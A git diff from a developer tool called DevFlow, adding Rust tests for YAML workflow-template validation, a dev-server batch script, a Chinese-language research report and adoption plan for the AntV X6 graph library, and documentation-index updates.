let dag = load_template(yaml).unwrap();
|
||||||
|
assert_eq!(dag.nodes.len(), 2);
|
||||||
|
assert_eq!(dag.edges.len(), 1);
|
||||||
|
assert!(dag.nodes.contains_key("review"));
|
||||||
|
assert_eq!(dag.nodes.get("review").unwrap().node_type, "ai");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn tpl_02_empty_nodes_rejected() {
|
||||||
|
let yaml = "name: 空\nnodes: {}\n";
|
||||||
|
let result = load_template(yaml);
|
||||||
|
assert!(matches!(result, Err(TemplateError::Validation(_))));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn tpl_03_unknown_node_type_rejected() {
|
||||||
|
let yaml = r#"
|
||||||
|
name: test
|
||||||
|
nodes:
|
||||||
|
bad:
|
||||||
|
type: unknown_type
|
||||||
|
config: {}
|
||||||
|
"#;
|
||||||
|
let result = load_template(yaml);
|
||||||
|
assert!(matches!(result, Err(TemplateError::Validation(_))));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn tpl_04_cycle_detected() {
|
||||||
|
let yaml = r#"
|
||||||
|
name: 环
|
||||||
|
nodes:
|
||||||
|
a:
|
||||||
|
type: ai
|
||||||
|
config: {}
|
||||||
|
b:
|
||||||
|
type: ai
|
||||||
|
config: {}
|
||||||
|
edges:
|
||||||
|
- from: a
|
||||||
|
to: b
|
||||||
|
- from: b
|
||||||
|
to: a
|
||||||
|
"#;
|
||||||
|
let result = load_template(yaml);
|
||||||
|
assert!(matches!(result, Err(TemplateError::Validation(ref msg)) if msg.contains("环")));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn tpl_05_edge_to_nonexistent_rejected() {
|
||||||
|
let yaml = r#"
|
||||||
|
name: test
|
||||||
|
nodes:
|
||||||
|
a:
|
||||||
|
type: ai
|
||||||
|
config: {}
|
||||||
|
edges:
|
||||||
|
- from: a
|
||||||
|
to: ghost
|
||||||
|
"#;
|
||||||
|
let result = load_template(yaml);
|
||||||
|
assert!(matches!(result, Err(TemplateError::Validation(_))));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn tpl_06_no_edges_ok() {
|
||||||
|
let yaml = r#"
|
||||||
|
name: 单节点
|
||||||
|
nodes:
|
||||||
|
solo:
|
||||||
|
type: script
|
||||||
|
config:
|
||||||
|
command: "echo hello"
|
||||||
|
"#;
|
||||||
|
let dag = load_template(yaml).unwrap();
|
||||||
|
assert_eq!(dag.nodes.len(), 1);
|
||||||
|
assert!(dag.edges.is_empty());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn tpl_07_invalid_yaml_rejected() {
|
||||||
|
let yaml = "not: valid: yaml: {{{";
|
||||||
|
let result = load_template(yaml);
|
||||||
|
assert!(matches!(result, Err(TemplateError::YamlParse(_))));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn tpl_08_all_known_node_types() {
|
||||||
|
for nt in KNOWN_NODE_TYPES {
|
||||||
|
let yaml = format!(
|
||||||
|
"name: test\nnodes:\n n:\n type: {}\n config: {{}}",
|
||||||
|
nt
|
||||||
|
);
|
||||||
|
let result = load_template(&yaml);
|
||||||
|
assert!(result.is_ok(), "节点类型 {} 应合法", nt);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
10
dev-server.bat
Normal file
10
dev-server.bat
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
@echo off
|
||||||
|
cd /d E:\wk-lab\devflow
|
||||||
|
echo [dev] 启动 DevFlow 开发服务器...
|
||||||
|
echo [dev] Vite + Tauri 后端将同时启动
|
||||||
|
echo [dev] 请勿关闭此窗口
|
||||||
|
echo.
|
||||||
|
C:\Users\23780\.bun\bin\bun.exe run tauri dev
|
||||||
|
echo.
|
||||||
|
echo [dev] 服务器已停止
|
||||||
|
pause
|
||||||
328
docs/01-技术文档/AntV-X6调研报告与引入计划-2026-06-30.md
Normal file
328
docs/01-技术文档/AntV-X6调研报告与引入计划-2026-06-30.md
Normal file
@@ -0,0 +1,328 @@
|
|||||||
|
# AntV X6 技术调研报告与引入计划
|
||||||
|
|
||||||
|
> 创建: 2026-06-30 | 状态: 调研完成,待决策
|
||||||
|
> 调研对象: AntV X6(图编辑与可视化引擎)
|
||||||
|
> 数据来源: GitHub API(antvis/X6)+ npm registry 实时查询(2026-06-30)
|
||||||
|
> 关联任务: `[子4] 前端:依赖关系图可视化`、`[子2] df-project:依赖图构建`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 一、为什么调研 X6
|
||||||
|
|
||||||
|
DevFlow 正在推进 **多工程/多仓库项目组织** 功能(任务列表中的父任务「多工程/多仓库项目组织」拆出 5 个子任务)。其中:
|
||||||
|
|
||||||
|
- `[子2]` 后端需构建 `ModuleDependencyGraph`(工程间依赖图数据结构)
|
||||||
|
- `[子4]` 前端需 **依赖关系图可视化**(节点 = 工程,边 = 依赖关系,支持交互)
|
||||||
|
|
||||||
|
当前 DevFlow 前端(`src/`)**零图可视化依赖**(已 grep 确认:无 d3 / vis-network / cytoscape / antv / x6 / jointjs / reactflow)。需要选型一个图引擎承担可视化层。
|
||||||
|
|
||||||
|
X6 是这次选型的重点候选,本报告评估其是否适合 DevFlow。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 二、X6 是什么
|
||||||
|
|
||||||
|
**AntV X6** 是蚂蚁集团 AntV 数据可视化团队开源的 **图编辑与可视化引擎**(Graph Editing and Visualization Engine)。
|
||||||
|
|
||||||
|
- GitHub: https://github.com/antvis/X6
|
||||||
|
- 文档: https://x6.antv.antgroup.com/
|
||||||
|
- License: **MIT**
|
||||||
|
- 定位: 专注 **节点-边图** 的交互式编辑与可视化
|
||||||
|
|
||||||
|
与纯图表库(ECharts/G2)的区别:X6 不是「把数据画成图」,而是「让用户在画布上编辑图」——拖拽节点、连线、布局、撤销重做、导出。这正是依赖图编辑器需要的形态。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 三、关键数据(实时校准,非记忆)
|
||||||
|
|
||||||
|
> ⚠️ 网上多数博客仍停留在「v2.x」,**已过时**。以下为 2026-06-30 npm + GitHub API 实测。
|
||||||
|
|
||||||
|
### 3.1 版本现状
|
||||||
|
|
||||||
|
| 通道 | 版本 | 说明 |
|
||||||
|
|---|---|---|
|
||||||
|
| **latest** | **3.1.7** | 当前正式稳定版(v3 主线) |
|
||||||
|
| beta | 3.1.4-beta.1 | 预发布通道 |
|
||||||
|
| @antv/x6@1.35.1 | 1.35.1 | v1 旧线(仅维护,勿新用) |
|
||||||
|
|
||||||
|
**结论**:新项目直接上 **v3.1.7**,不要从 v1/v2 起步。v3 是当前活跃主线。
|
||||||
|
|
||||||
|
### 3.2 仓库活跃度
|
||||||
|
|
||||||
|
| 指标 | 数值 |
|
||||||
|
|---|---|
|
||||||
|
| Stars | 18.3k |
|
||||||
|
| Forks | 2.5k |
|
||||||
|
| Network | 1886 |
|
||||||
|
| 最近 release | 持续迭代(2026 年仍有多次 release) |
|
||||||
|
| 维护状态 | **活跃** |
|
||||||
|
|
||||||
|
### 3.3 最近 release 亮点(佐证活跃度)
|
||||||
|
|
||||||
|
近期 PR 修复了:
|
||||||
|
- 节点事件无法冒泡到连线的问题(#4888)
|
||||||
|
- stencil 插件搜索后高度自适应(#4975)
|
||||||
|
|
||||||
|
说明交互细节仍在持续打磨,非弃维项目。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 四、核心能力清单
|
||||||
|
|
||||||
|
| 能力 | 说明 | DevFlow 是否用得到 |
|
||||||
|
|---|---|---|
|
||||||
|
| **节点系统** | 内置矩形/圆形/椭圆/多边形,支持 HTML/React/Vue 自定义节点 | ✅ 工程节点用 Vue 自定义 |
|
||||||
|
| **边系统** | 直线/折线/曲线/自定义路由,箭头/标签/路径动画 | ✅ 依赖边带类型标签(API调用/类库/MQ...) |
|
||||||
|
| **交互** | 拖拽、缩放、框选、连线、对齐线、撤销/重做 | ✅ 用户可手动调整布局 |
|
||||||
|
| **布局算法** | dagre(层次)/ force(力导向)/ grid / circular | ✅ dagre 天然适合依赖图 |
|
||||||
|
| **插件生态** | 小地图、对齐线、框选、变换、键盘、历史、剪贴板、上下文菜单 | ✅ 小地图(大图概览)+ 历史(撤销) |
|
||||||
|
| **数据格式** | JSON graph data,导入/导出 | ✅ 与后端 ModuleDependencyGraph 直接映射 |
|
||||||
|
| **事件系统** | 完整节点/边/画布事件 | ✅ 点击节点跳转工程详情 |
|
||||||
|
| **导出** | PNG / SVG / JPG | ⚠️ 锦上添花 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 五、技术特性
|
||||||
|
|
||||||
|
### 5.1 架构
|
||||||
|
|
||||||
|
- **框架无关**:核心纯 TypeScript,不绑定 React/Vue
|
||||||
|
- **渲染引擎**:SVG(默认)/ Canvas(大图性能更优)
|
||||||
|
- **插件化**:功能按需引入,tree-shaking 友好(v3 强化)
|
||||||
|
|
||||||
|
### 5.2 生态包(v3 延续插件化)
|
||||||
|
|
||||||
|
| 包 | 用途 | DevFlow 需要 |
|
||||||
|
|---|---|---|
|
||||||
|
| `@antv/x6` | 核心引擎 | ✅ 必装 |
|
||||||
|
| `@antv/x6-plugin-selection` | 框选/点选 | ✅ |
|
||||||
|
| `@antv/x6-plugin-snapline` | 对齐线 | ✅ |
|
||||||
|
| `@antv/x6-plugin-history` | 撤销/重做 | ✅ |
|
||||||
|
| `@antv/x6-plugin-minimap` | 小地图 | ✅ 大图必备 |
|
||||||
|
| `@antv/x6-plugin-keyboard` | 键盘快捷键 | ⚠️ 可选 |
|
||||||
|
| `@antv/x6-plugin-clipboard` | 剪贴板 | ⚠️ 可选 |
|
||||||
|
| `@antv/x6-plugin-transform` | 缩放/旋转 | ⚠️ 可选 |
|
||||||
|
| `@antv/x6-plugin-scroller` | 画布滚动 | ✅ 大图画布 |
|
||||||
|
| `@antv/x6-plugin-export` | 图片导出 | ❌ 暂不需要 |
|
||||||
|
| `@antv/x6-plugin-stencil` | 元素面板(拖入) | ⚠️ 可视化编辑器才需要 |
|
||||||
|
| `@antv/x6-vue-shape` | Vue 自定义节点 | ✅ 工程节点用 Vue 组件 |
|
||||||
|
|
||||||
|
### 5.3 与 DevFlow 技术栈兼容性
|
||||||
|
|
||||||
|
| 维度 | DevFlow | X6 要求 | 兼容 |
|
||||||
|
|---|---|---|---|
|
||||||
|
| 前端框架 | Vue 3.5 | 框架无关 + vue-shape | ✅ |
|
||||||
|
| UI 库 | Arco Design | 无冲突 | ✅ |
|
||||||
|
| 构建 | Vite 6 | 支持 | ✅ |
|
||||||
|
| TS | 5.6 | 原生 TS | ✅ |
|
||||||
|
| 运行时 | Tauri WebView | 标准 DOM API | ✅ |
|
||||||
|
| 包管理 | bun.lock / npm | 均支持 | ✅ |
|
||||||
|
|
||||||
|
**无兼容性阻塞。**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 六、竞品对比
|
||||||
|
|
||||||
|
| 库 | 定位 | 编辑能力 | Vue 支持 | 布局算法 | 体积 | 适合 DevFlow |
|
||||||
|
|---|---|---|---|---|---|---|
|
||||||
|
| **AntV X6** | 图编辑引擎 | ⭐⭐⭐⭐⭐ 全栈 | 官方 vue-shape | 内置 dagre/force | 中 | ✅ **最佳** |
|
||||||
|
| ReactFlow | React 图编辑 | ⭐⭐⭐⭐ | 需包装(非原生) | 需配 dagre | 中 | ❌ React 栈 |
|
||||||
|
| vis-network | 图可视化 | ⭐⭐⭐ | 手动 | 内置 | 小 | ⚠️ 编辑弱 |
|
||||||
|
| cytoscape.js | 图分析+可视化 | ⭐⭐⭐ | 手动 | 插件 | 中 | ⚠️ 偏分析 |
|
||||||
|
| d3 | 通用可视化 | ⭐⭐ 手搓 | 手动 | 手搓 | 大 | ❌ 工作量大 |
|
||||||
|
| G6 | 关系图谱分析 | ⭐⭐⭐⭐ | 手动 | 内置 | 中 | ⚠️ 偏分析非编辑 |
|
||||||
|
|
||||||
|
**结论**:DevFlow 需要「可编辑依赖图」,X6 在编辑能力 + Vue 原生支持 + 布局算法三方面综合最优。G6 是同门兄弟但偏「图谱分析」(大图布局/聚类),X6 偏「图编辑」(人机交互),DevFlow 场景是后者。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 七、DevFlow 落地场景评估
|
||||||
|
|
||||||
|
### 7.1 主场景:多工程依赖关系图(P0,立即落地)
|
||||||
|
|
||||||
|
对应任务 `[子4]`。
|
||||||
|
|
||||||
|
```
|
||||||
|
[DevFlow 工程] ──API调用──> [u-talk 工程]
|
||||||
|
│
|
||||||
|
├──类库引入──> [df-types crate]
|
||||||
|
└──共享资源──> [MySQL]
|
||||||
|
```
|
||||||
|
|
||||||
|
- 节点 = module(工程/crate),Vue 自定义节点展示名称/路径/技术栈
|
||||||
|
- 边 = module_dependency,标签展示 dep_type(API调用/类库/MQ/共享资源/自定义)
|
||||||
|
- 布局 = dagre 层次布局(天然适合依赖关系)
|
||||||
|
- 交互 = 点击节点跳工程详情、拖拽调整、小地图导航
|
||||||
|
- 数据源 = 后端 `get_dependency_graph` IPC 返回的图结构
|
||||||
|
|
||||||
|
### 7.2 次场景:工作流编辑器(P1,未来)
|
||||||
|
|
||||||
|
DevFlow 有工作流引擎(AiNode/HumanNode/executor),未来可做可视化工作流编辑器:
|
||||||
|
- 拖拽节点(AI 节点 / 人工节点 / 判断节点)
|
||||||
|
- 连线定义流转
|
||||||
|
- 与后端 workflow 定义双向同步
|
||||||
|
|
||||||
|
X6 的 stencil 插件(元素拖入面板)正是为这类低代码编辑器设计。
|
||||||
|
|
||||||
|
### 7.3 次场景:任务依赖图(P2)
|
||||||
|
|
||||||
|
任务有 `depends_on / blocks / relates_to` 关联(create_task_link),可可视化展示任务拓扑。当前任务列表已有 `list_task_links` / `get_task_tree` 数据基础。
|
||||||
|
|
||||||
|
### 7.4 不适用场景
|
||||||
|
|
||||||
|
- ai-news(纯 HTML/JS,无图编辑需求)— 不引入
|
||||||
|
- u-talk / u-desk — 暂无明确图编辑需求,不引入
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 八、风险与对策
|
||||||
|
|
||||||
|
| 风险 | 影响 | 对策 |
|
||||||
|
|---|---|---|
|
||||||
|
| v3 文档站是 SPA,离线难爬 | 学习曲线 | 在线阅读 + 官方 examples 仓库对照 |
|
||||||
|
| v3 相比 v1 有 breaking changes | 迁移成本 | 全新引入,无历史包袱,直接学 v3 |
|
||||||
|
| 插件多,初次配置繁琐 | 上手成本 | 本计划已列出必装子集(见 §九) |
|
||||||
|
| 大图性能(>500 节点) | 渲染卡顿 | DevFlow 单项目工程数有限(<50),不触瓶颈;必要时切 Canvas 渲染 |
|
||||||
|
| vue-shape 与 Arco 组件协同 | 样式冲突 | 节点用独立样式作用域,避免全局污染 |
|
||||||
|
| 包体积增加 | 安装包变大 | X6 核心 + 必装插件 gzip 后约 200-300KB,Tauri 本地资源可接受 |
|
||||||
|
|
||||||
|
**无阻塞级风险。**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 九、引入计划
|
||||||
|
|
||||||
|
### 9.1 决策点(待人工拍板)
|
||||||
|
|
||||||
|
| 项 | 推荐 | 备选 |
|
||||||
|
|---|---|---|
|
||||||
|
| 是否引入 X6 | ✅ **引入** | vis-network(编辑弱)/ 自研 SVG(成本高) |
|
||||||
|
| 版本 | v3.1.7(latest) | — |
|
||||||
|
| 落地优先级 | P0 依赖图 → P1 工作流编辑器 | — |
|
||||||
|
| 引入范围 | 仅 DevFlow 前端 | — |
|
||||||
|
|
||||||
|
### 9.2 分阶段实施
|
||||||
|
|
||||||
|
#### Phase 0:依赖安装与验证(0.5 天)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 在 DevFlow 前端目录
|
||||||
|
bun add @antv/x6 @antv/x6-plugin-selection @antv/x6-plugin-snapline \
|
||||||
|
@antv/x6-plugin-history @antv/x6-plugin-minimap @antv/x6-plugin-scroller \
|
||||||
|
@antv/x6-vue-shape
|
||||||
|
```
|
||||||
|
|
||||||
|
交付物:
|
||||||
|
- 依赖装入 `package.json`
|
||||||
|
- 一个最小 demo 页面(3 节点 2 边,验证渲染 + 拖拽 + 缩放)
|
||||||
|
- 验证 Tauri WebView 下无异常
|
||||||
|
|
||||||
|
#### Phase 1:依赖关系图组件(1.5 天,对接 `[子4]`)
|
||||||
|
|
||||||
|
前置:`[子2]` 后端 `get_dependency_graph` IPC 完成。
|
||||||
|
|
||||||
|
交付物:
|
||||||
|
- 新建 `src/components/DependencyGraph.vue`
|
||||||
|
- 封装 X6 Graph 实例(生命周期管理:mount 初始化、unmount 销毁)
|
||||||
|
- 数据映射:`ModuleDependencyGraph` → X6 fromJSON
|
||||||
|
- Vue 自定义节点组件 `ModuleNode.vue`(展示工程名/路径/技术栈图标)
|
||||||
|
- 边标签展示 dep_type
|
||||||
|
- dagre 自动布局
|
||||||
|
- 小地图 + 框选 + 撤销重做
|
||||||
|
- 事件:点击节点 → emit('select-module', id),父组件跳详情
|
||||||
|
|
||||||
|
#### Phase 2:集成到项目详情页(0.5 天,对接 `[子4]`)
|
||||||
|
|
||||||
|
交付物:
|
||||||
|
- 项目详情页新增「依赖图」Tab
|
||||||
|
- 与工程列表 Tab 并列,数据同源
|
||||||
|
- 空状态处理(单工程无依赖时提示)
|
||||||
|
|
||||||
|
#### Phase 3(未来):工作流可视化编辑器
|
||||||
|
|
||||||
|
不在本次计划范围,待工作流引擎需求明确后再立项。
|
||||||
|
|
||||||
|
### 9.3 工程化约定
|
||||||
|
|
||||||
|
1. **X6 实例管理**:组件内 `onMounted` 创建,`onBeforeUnmount` 调 `graph.dispose()`,避免内存泄漏
|
||||||
|
2. **类型契约**:后端 `ModuleDependencyGraph`(Rust serde)→ ts-rs 导出 → 前端 X6 fromJSON 格式转换函数集中放 `src/utils/graphMapper.ts`
|
||||||
|
3. **样式隔离**:自定义节点用 `<style scoped>`,避免污染 Arco 主题
|
||||||
|
4. **按需引入**:仅装 §5.2 列出的必装/可选插件,不装 export/stencil(暂不需要)
|
||||||
|
|
||||||
|
### 9.4 验收标准
|
||||||
|
|
||||||
|
- [ ] Phase 0:demo 页渲染正常,Tauri 下无报错
|
||||||
|
- [ ] Phase 1:依赖图组件能渲染 ≥10 个工程节点 + 依赖边,dagre 布局自动排布
|
||||||
|
- [ ] Phase 1:拖拽节点、框选、撤销重做、小地图均可用
|
||||||
|
- [ ] Phase 1:点击节点能触发跳转工程详情
|
||||||
|
- [ ] Phase 2:项目详情页「依赖图」Tab 可用,多工程项目展示正确
|
||||||
|
- [ ] 单工程项目显示友好空状态
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 十、快速上手示例(Vue 3 + v3)
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// src/utils/x6-setup.ts
|
||||||
|
import { Graph } from '@antv/x6'
|
||||||
|
import { Selection } from '@antv/x6-plugin-selection'
|
||||||
|
import { Snapline } from '@antv/x6-plugin-snapline'
|
||||||
|
import { History } from '@antv/x6-plugin-history'
|
||||||
|
import { Minimap } from '@antv/x6-plugin-minimap'
|
||||||
|
import { Scroller } from '@antv/x6-plugin-scroller'
|
||||||
|
|
||||||
|
export function createGraph(container: HTMLElement): Graph {
|
||||||
|
const graph = new Graph({
|
||||||
|
container,
|
||||||
|
background: { color: '#F2F7FA' },
|
||||||
|
grid: { visible: true, size: 10 },
|
||||||
|
mousewheel: { enabled: true, modifiers: ['ctrl'], minScale: 0.5, maxScale: 2 },
|
||||||
|
})
|
||||||
|
graph.use(new Selection({ enabled: true, rubberband: true }))
|
||||||
|
graph.use(new Snapline({ enabled: true }))
|
||||||
|
graph.use(new History({ enabled: true }))
|
||||||
|
graph.use(new Scroller({ enabled: true, pannable: true }))
|
||||||
|
graph.use(new Minimap({ enabled: true, width: 200, height: 120 }))
|
||||||
|
return graph
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// 数据映射示例:后端图结构 → X6 fromJSON
|
||||||
|
function toX6Data(graph: ModuleDependencyGraph) {
|
||||||
|
return {
|
||||||
|
nodes: graph.modules.map(m => ({
|
||||||
|
id: m.id,
|
||||||
|
shape: 'devflow-module', // 注册的 Vue 自定义节点
|
||||||
|
x: 0, y: 0, // dagre 布局后重排
|
||||||
|
data: { name: m.name, path: m.path, stack: m.stack },
|
||||||
|
})),
|
||||||
|
edges: graph.dependencies.map(d => ({
|
||||||
|
source: d.from_module_id,
|
||||||
|
target: d.to_module_id,
|
||||||
|
labels: [{ text: d.dep_type }],
|
||||||
|
})),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 十一、结论与建议
|
||||||
|
|
||||||
|
1. **推荐引入** AntV X6 v3.1.7 作为 DevFlow 图可视化层,竞品中综合最优。
|
||||||
|
2. **首选落地场景** 是 `[子4] 多工程依赖关系图`,与当前正在推进的多工程组织功能直接对接,ROI 最高。
|
||||||
|
3. **无兼容性阻塞**,技术栈(Vue 3 + Vite 6 + Tauri WebView)完全适配。
|
||||||
|
4. **建议批准 Phase 0**(0.5 天安装验证),验证通过后推进 Phase 1-2(2 天)。
|
||||||
|
5. **暂不引入** u-talk / u-desk / ai-news,待有明确图编辑需求再评估。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 相关链接
|
||||||
|
|
||||||
|
- 官网: https://x6.antv.antgroup.com/
|
||||||
|
- GitHub: https://github.com/antvis/X6
|
||||||
|
- v3 文档: https://x6.antv.antgroup.com/tutorial/about
|
||||||
|
- Vue shape: https://x6.antv.antgroup.com/tutorial/advanced/react#vue(vue-shape 用法)
|
||||||
|
- DevFlow 关联任务: `[子4] 前端:依赖关系图` / `[子2] df-project:依赖图构建`
|
||||||
@@ -35,7 +35,7 @@ DevFlow 使用 SQLite (rusqlite) 作为本地存储引擎。df-storage 负责 SQ
|
|||||||
- ID 字段统一使用 `TEXT` (UUID v4)
|
- ID 字段统一使用 `TEXT` (UUID v4)
|
||||||
- 时间字段使用 `TEXT` (毫秒时间戳字符串,`now_millis_str()` 返回 String)
|
- 时间字段使用 `TEXT` (毫秒时间戳字符串,`now_millis_str()` 返回 String)
|
||||||
- JSON 字段使用 `TEXT` 存储 JSON 字符串
|
- JSON 字段使用 `TEXT` 存储 JSON 字符串
|
||||||
- 所有写操作统一返回 `df_core::error::Error` 错误类型:insert 返 `Result<String>`(id),update/delete 返 `Result<bool>`(是否影响行)
|
- 所有写操作统一返回 `df_types::error::Error` 错误类型:insert 返 `Result<String>`(id),update/delete 返 `Result<bool>`(是否影响行)
|
||||||
|
|
||||||
## update_field 的强制时间戳约束
|
## update_field 的强制时间戳约束
|
||||||
|
|
||||||
@@ -76,4 +76,4 @@ UPDATE ai_conversations SET archived = ?1 WHERE id = ?2
|
|||||||
|
|
||||||
- `crates/df-storage/src/lib.rs` — 存储层入口
|
- `crates/df-storage/src/lib.rs` — 存储层入口
|
||||||
- `crates/df-storage/src/migrations.rs` — Schema 定义与迁移
|
- `crates/df-storage/src/migrations.rs` — Schema 定义与迁移
|
||||||
- `crates/df-core/src/error.rs` — 统一错误类型
|
- `crates/df-types/src/error.rs` — 统一错误类型
|
||||||
|
|||||||
@@ -47,6 +47,8 @@
|
|||||||
| [F-09B-多会话并发设计-2026-06-16.md](./已编号方案/F-09B-多会话并发设计-2026-06-16.md) | F-260616-09 | 🗄 过时(被 F-09 取代) | 06-16 旧版,行号已过期。保留回溯,新设计看 F-09 |
|
| [F-09B-多会话并发设计-2026-06-16.md](./已编号方案/F-09B-多会话并发设计-2026-06-16.md) | F-260616-09 | 🗄 过时(被 F-09 取代) | 06-16 旧版,行号已过期。保留回溯,新设计看 F-09 |
|
||||||
| [F-15-上下文管理增强设计-2026-06-16.md](./已编号方案/F-15-上下文管理增强设计-2026-06-16.md) | F-260616-15 | 📐 设计 | ContextManager 分段 / 压缩 / 裁剪 |
|
| [F-15-上下文管理增强设计-2026-06-16.md](./已编号方案/F-15-上下文管理增强设计-2026-06-16.md) | F-260616-15 | 📐 设计 | ContextManager 分段 / 压缩 / 裁剪 |
|
||||||
| [F-260620-01-跨端AIChat-微信小程序-2026-06-20.md](./已编号方案/F-260620-01-跨端AIChat-微信小程序-2026-06-20.md) | F-260620-01 | 📐 草案(灵感 4495fbcd 待晋升) | 微信小程序 ↔ Rust 云后端(df-relay) ↔ DevFlow 桌面端(df-tunnel)实时同步,Rust 选型代码复用 |
|
| [F-260620-01-跨端AIChat-微信小程序-2026-06-20.md](./已编号方案/F-260620-01-跨端AIChat-微信小程序-2026-06-20.md) | F-260620-01 | 📐 草案(灵感 4495fbcd 待晋升) | 微信小程序 ↔ Rust 云后端(df-relay) ↔ DevFlow 桌面端(df-tunnel)实时同步,Rust 选型代码复用 |
|
||||||
|
| [F-260622-01-跨端AIChat-Phase3联调设计-2026-06-22.md](./已编号方案/F-260622-01-跨端AIChat-Phase3联调设计-2026-06-22.md) | F-260622-01 | 📐 设计草案 | F-260620-01 Phase3 实施续篇:三层就绪后如何接线联调(协议统一+桥接方案) |
|
||||||
|
| [消息级溯源P2-切读方案-2026-06-28.md](./已编号方案/消息级溯源P2-切读方案-2026-06-28.md) | F-260619-04-P2 | ✅ 已落地 | 消息级溯源 P2 一次性切读 + 脚本迁移历史数据 |
|
||||||
| [B-03-人工审批响应机制-2026-06-14.md](./已编号方案/B-03-人工审批响应机制-2026-06-14.md) | B-260614-03 | ✅ 已落地(B-03a) | HumanNode execute subscribe/send/select 完整审批链 |
|
| [B-03-人工审批响应机制-2026-06-14.md](./已编号方案/B-03-人工审批响应机制-2026-06-14.md) | B-260614-03 | ✅ 已落地(B-03a) | HumanNode execute subscribe/send/select 完整审批链 |
|
||||||
| [B-260616-21排查方案-2026-06-16.md](./已编号方案/B-260616-21排查方案-2026-06-16.md) | B-260616-21 | 📐 排查方案 | 工具卡片重复渲染根因(audit 重复 emit Started) + 修复方案 |
|
| [B-260616-21排查方案-2026-06-16.md](./已编号方案/B-260616-21排查方案-2026-06-16.md) | B-260616-21 | 📐 排查方案 | 工具卡片重复渲染根因(audit 重复 emit Started) + 修复方案 |
|
||||||
| [F-260622-01-跨端AIChat-Phase3联调设计-2026-06-22.md](./已编号方案/F-260622-01-跨端AIChat-Phase3联调设计-2026-06-22.md) | F-260622-01 | 📐 设计 | 微信小程序跨端联调:云隧道握手 / MCP 工具路由 / DF 事件同步 |
|
| [F-260622-01-跨端AIChat-Phase3联调设计-2026-06-22.md](./已编号方案/F-260622-01-跨端AIChat-Phase3联调设计-2026-06-22.md) | F-260622-01 | 📐 设计 | 微信小程序跨端联调:云隧道握手 / MCP 工具路由 / DF 事件同步 |
|
||||||
@@ -83,7 +85,11 @@
|
|||||||
| [AI对话目标丢失诊断-2026-06-26.md](./专项设计/AI对话目标丢失诊断-2026-06-26.md) | 📐 诊断 | AI 对话目标丢失根因分析:上下文漂移 / 意图衰减 |
|
| [AI对话目标丢失诊断-2026-06-26.md](./专项设计/AI对话目标丢失诊断-2026-06-26.md) | 📐 诊断 | AI 对话目标丢失根因分析:上下文漂移 / 意图衰减 |
|
||||||
| [AI原生上下文地图与去AI化进化系统-2026-06-26.md](./专项设计/AI原生上下文地图与去AI化进化系统-2026-06-26.md) | 📐 设计 | AI 原生上下文地图:语义索引 / 去 AI 化渐进演进路径 |
|
| [AI原生上下文地图与去AI化进化系统-2026-06-26.md](./专项设计/AI原生上下文地图与去AI化进化系统-2026-06-26.md) | 📐 设计 | AI 原生上下文地图:语义索引 / 去 AI 化渐进演进路径 |
|
||||||
| [项目知识图谱与任务队列系统-2026-06-26.md](./专项设计/项目知识图谱与任务队列系统-2026-06-26.md) | 📐 设计 | 项目级知识图谱 + 任务队列:依赖解析 / 优先级调度 |
|
| [项目知识图谱与任务队列系统-2026-06-26.md](./专项设计/项目知识图谱与任务队列系统-2026-06-26.md) | 📐 设计 | 项目级知识图谱 + 任务队列:依赖解析 / 优先级调度 |
|
||||||
| [工程系统设计-2026-06-29.md](./专项设计/工程系统设计-2026-06-29.md) | 🚧 实施中(Batch 9) | 项目多工程(Module) + Git 状态查询 + 文件浏览器 + Git AI 工具 |
|
| [工程系统设计-2026-06-29.md](./专项设计/工程系统设计-2026-06-29.md) | ✅ 已落地 | 项目多工程(Module) + Git 状态查询 + 文件浏览器 + Git AI 工具(只读3+写3) |
|
||||||
|
| [架构债迁移设计-2026-06-29.md](./专项设计/架构债迁移设计-2026-06-29.md) | 📐 设计草案 | #8/#15/#18/#19 架构债迁移路径(AI状态机抽离/IPC错误结构化/配置统一/连接池) |
|
||||||
|
| [多Agent并行执行与仲裁合并设计-2026-07-01.md](./专项设计/多Agent并行执行与仲裁合并设计-2026-07-01.md) | 📐 设计 | 混合数据模型(messages加FK列+Plan/SubTask/Conflict独立表)、Git worktree隔离、JoinSet层内并行、四层冲突防线、Reviewer仲裁、事件协议、UI交互 |
|
||||||
|
| [后续批次测试用例设计-2026-07-01.md](./专项设计/后续批次测试用例设计-2026-07-01.md) | 📐 测试 | 多Agent并行/worktree隔离/仲裁合并/模板系统/Git-CI/审批政策 的单元+集成+端到端测试用例 |
|
||||||
|
| [测试落地实施方案-2026-07-01.md](./专项设计/测试落地实施方案-2026-07-01.md) | 📐 测试 | 各测试用例的落地方式(Rust 单元/集成/vitest/E2E 手动)、文件位置、Mock 策略、CI 自动化路径 |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -108,7 +114,15 @@
|
|||||||
